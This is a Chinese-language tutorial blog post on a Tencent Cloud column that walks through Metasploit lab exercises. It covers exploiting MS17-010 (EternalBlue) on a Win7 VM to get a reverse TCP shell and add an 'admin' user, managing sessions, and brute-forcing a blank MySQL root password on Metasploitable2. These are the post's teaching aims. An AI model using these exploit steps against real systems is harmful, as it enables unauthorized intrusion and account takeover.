前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >网络空间安全之一个WH的超前沿全栈技术深入学习之路(13-3)红队必经之路——实战如何用Metasploit 渗透她的Win主机并远程执行命令才不会让我释怀[竟然是红队,那就对自己狠一点]

网络空间安全之一个WH的超前沿全栈技术深入学习之路(13-3)红队必经之路——实战如何用Metasploit 渗透她的Win主机并远程执行命令才不会让我释怀[竟然是红队,那就对自己狠一点]

作者头像
盛透侧视攻城狮
发布2024-12-25 09:05:53
发布2024-12-25 09:05:53
8200
代码可运行
举报
运行总次数:0
代码可运行

1.实战-使用 msf 渗透攻击 Win7 主机并远程执行命令

1.2通过 msf 模块获取 Win7 主机远程 shell

  • Win7 旗舰版 SP1-64 位系统镜像(内有激活工具):
  • 链接:
  • 提取码:root

  • Win7 旗舰版 SP1-64 位免安装版(已激活)密码:123456,下载解压后用 VMware 直接打开即可
  • 链接:
  • 提取码:0khh
  • 如果想自己安装可以下载镜像,不想自己安装的可以下载免安装版
模块的整体使用流程如下
我们先扫描目标是否存在 ms17-010 漏洞
代码语言:javascript
代码运行次数:0
复制
msf5 > search ms17-010
使用 use 命令选中这个模块
代码语言:javascript
代码运行次数:0
复制
msf5 > use auxiliary/scanner/smb/smb_ms17_010
查看模块需要配置的信息
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
配置 RHOST 主机 IP
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.56
开始扫描
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
  • 目标看起来易受攻击,也就表示可能存在相关漏洞。
查找攻击模块
代码语言:javascript
代码运行次数:0
复制
msf5 > search ms17-010
使用 use 命令加载模块
代码语言:javascript
代码运行次数:0
复制
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
设置目标主机 IP
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56
查看 exploit target 目标类型:
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets
  • 可以看到这个模块只有一个 target,所以默认就选择这个目标系统。不需要手动设置。
  • 所以已经配置好漏洞相关参数了,接下来应该做什么呢?
  • 还记得之前发的红队渗透路线图么:
找一个 payload,获取 shell 远程连接权限后,进行远程执行命令
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell
type:payload
补充:
  • payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。
我们挑选一个反弹 shell 的 payloads
注意:
  • 设置的时候 payload 和 windows 之间有空格。
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/shell/reverse_tcp
查看一下 payloads 需要配置什么信息
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的payload信息
设置一下本机 payload 监听地址
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
配置完成后开始执行
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
注意
  • 如果等待没有出现 shell 提示符可以敲一下回车。
  • 直接执行的话会获得目标主机的 SEHLL
使用 DOS 命令创建用户
代码语言:javascript
代码运行次数:0
复制
C:\Windows\system32>net user admin admin /add
显示乱码原因以及如何解决

因为 windows 和 linux 的编码不一样导致的

解决方案:
代码语言:javascript
代码运行次数:0
复制
C:\Windows\system32>chcp 65001
查看用户
代码语言:javascript
代码运行次数:0
复制
C:\Windows\system32>net user

  • 可以看到新建的用户已经创建成功。
查看拿到的用户权限
代码语言:javascript
代码运行次数:0
复制
C:\Windows\system32>whoami
关闭连接
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) >Ctrl+c
Abort session 1? [y/N] y

实战2:通过会话进行连接目标机

代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
补充:
  • -j 表示后台执行 渗透目标完成后会创建一个 session 我们可以通过 session 连接目标主机。
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions

通过会话 Id 进入会话

代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4

​​​​​​

退出会话将会话保存到后台

代码语言:javascript
代码运行次数:0
复制
C:\Windows\system32>background
代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions

根据会话 Id 结束会话

代码语言:javascript
代码运行次数:0
复制
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4

实战3:使用 msf 扫描靶机上 mysql 服务的空密码

  • 启动一台 Metasploitable2-Linux 靶机网络模式为桥接 IP:192.168.1.180

登录 Metasploitable2-Linux 系统用户名 root,密码:123456

输入 ip a 查看 ip 地址

登录 Kali 开始搜索模块

代码语言:javascript
代码运行次数:0
复制
msf5 > search mysql_login

加载模块
代码语言:javascript
代码运行次数:0
复制
msf5 > use auxiliary/scanner/mysql/mysql_login
查看模块配置项
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > show options

配置要爆破的用户

代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
参数详解:

  • BLANK_PASSWORDS 含意:Try blank passwords for all users #为所有用户尝试空密码 。
开启为所有用户尝试空密码
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
设置目标主机
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.180
配置完成以后我们执行 run 或者 exploit
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > exploit
  • 成功执行
使用后端凭证命令 creds , 列出数据库中的所有凭据
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > creds

将扫描的结果导出 Metasploit 与导入另一台机器的 Metasploit 中

示例1:将前面扫描 mysql 数据库空密码信息导出
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml
注意:
  • 导出只支持两种格式:xml 和 pwdump
  • 常用的导出格式为 xml
导出以后退出程序
代码语言:javascript
代码运行次数:0
复制
msf5 auxiliary(scanner/mysql/mysql_login) > exit
示例2:将扫描的结果导入另一台机器的 Metasploit 中

所以不再开一台新 Kali,直接重置数据库,当成新的来用

代码语言:javascript
代码运行次数:0
复制
root@xuegod53:~# msfdb reinit
连接 Metasploit
代码语言:javascript
代码运行次数:0
复制
root@xuegod53:~# msfconsole

msf5 > hosts

数据库中主机信息是空的,我们导入数据

代码语言:javascript
代码运行次数:0
复制
msf5 > db_import /root/bak.xml

代码语言:javascript
代码运行次数:0
复制
msf5 > hosts


Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.54 device
192.168.1.180 Unknown device
通过 hosts -h 可以查看多个选项详解
代码语言:javascript
代码运行次数:0
复制
msf5 > hosts -h
  • 这里,最重要的是选项 -c,此选项使我们能够选择要用 hosts 命令显示的数据的列或字段(类似于 SQL 中的 select 命令)。
  • 在上图中可以看到显示的可用列。
比如:显示指定列的主机信息
代码语言:javascript
代码运行次数:0
复制
msf5 > hosts -c address,name,os_name
删除指定主机
代码语言:javascript
代码运行次数:0
复制
msf5 > hosts -d 101.200.128.35
  • 之外我们还可以直接将 NMAP 的扫描结果导入到 Metasploit 数据库中我们新开一个终端窗口来进行扫描。
  • 参数详解:
  • -oX 将扫描信息导出到 XML 文件中
代码语言:javascript
代码运行次数:0
复制
root@xuegod53:~# nmap -A xuegod.cn -oX xuegod.xml
回到 Metasploit 导入扫描结果
代码语言:javascript
代码运行次数:0
复制
msf5 > db_import /root/xuegod.xml
代码语言:javascript
代码运行次数:0
复制
msf5 > hosts
查看数据库中的主机都开放了哪些服务
代码语言:javascript
代码运行次数:0
复制
msf5 > services
显示指定主机的服务信息
代码语言:javascript
代码运行次数:0
复制
msf5 > services -R 192.168.1.180
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-11-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.2通过 msf 模块获取 Win7 主机远程 shell
    • 模块的整体使用流程如下
    • 我们先扫描目标是否存在 ms17-010 漏洞
    • 使用 use 命令选中这个模块
    • 查看模块需要配置的信息
    • 配置 RHOST 主机 IP
    • 开始扫描
    • 查找攻击模块
    • 使用 use 命令加载模块
    • 设置目标主机 IP
    • 查看 exploit target 目标类型:
    • 找一个 payload,获取 shell 远程连接权限后,进行远程执行命令
    • 我们挑选一个反弹 shell 的 payloads
    • 查看一下 payloads 需要配置什么信息
    • 设置一下本机 payload 监听地址
    • 配置完成后开始执行
    • 使用 DOS 命令创建用户
    • 查看用户
    • 查看拿到的用户权限
    • 关闭连接
  • 实战2:通过会话进行连接目标机
    • 补充:
    • 通过会话 Id 进入会话
    • 退出会话将会话保存到后台
    • 根据会话 Id 结束会话
  • 实战3:使用 msf 扫描靶机上 mysql 服务的空密码
    • 登录 Metasploitable2-Linux 系统用户名 root,密码:123456
    • 输入 ip a 查看 ip 地址
    • 登录 Kali 开始搜索模块
      • 加载模块
      • 查看模块配置项
    • 配置要爆破的用户
      • 开启为所有用户尝试空密码
      • 设置目标主机
      • 配置完成以后我们执行 run 或者 exploit
      • 使用后端凭证命令 creds , 列出数据库中的所有凭据
    • 将扫描的结果导出 Metasploit 与导入另一台机器的 Metasploit 中
      • 示例1:将前面扫描 mysql 数据库空密码信息导出
      • 导出以后退出程序
      • 示例2:将扫描的结果导入另一台机器的 Metasploit 中
      • 连接 Metasploit
    • 数据库中主机信息是空的,我们导入数据
      • 通过 hosts -h 可以查看多个选项详解
      • 比如:显示指定列的主机信息
      • 删除指定主机
      • 回到 Metasploit 导入扫描结果
      • 查看数据库中的主机都开放了哪些服务
      • 显示指定主机的服务信息
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档